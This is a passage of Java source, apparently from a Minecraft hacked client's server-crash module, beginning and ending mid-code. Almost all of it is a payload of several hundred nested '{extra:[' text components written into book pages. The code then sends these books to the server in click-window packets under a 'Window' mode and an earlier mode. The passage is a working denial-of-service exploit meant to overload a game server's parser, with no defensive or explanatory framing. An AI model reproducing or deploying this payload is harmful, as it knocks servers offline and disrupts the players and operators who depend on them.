NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                    }\n\n                    comp.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                    comp.setByte(\"resolved\", (byte) 1);\n                    comp.setTag(\"pages\", list);\n                    final ItemStack stack = new ItemStack(Items.writable_book);\n                    stack.setTagCompound(comp);\n                    final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                    buffer.writeItemStackToBuffer(stack);\n                    PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                }\n                break;\n            }\n\n            case \"Window\": {\n                final NBTTagCompound tag = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                for (int i = 0; i < 2; i++) {\n                    list.appendTag(new NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}]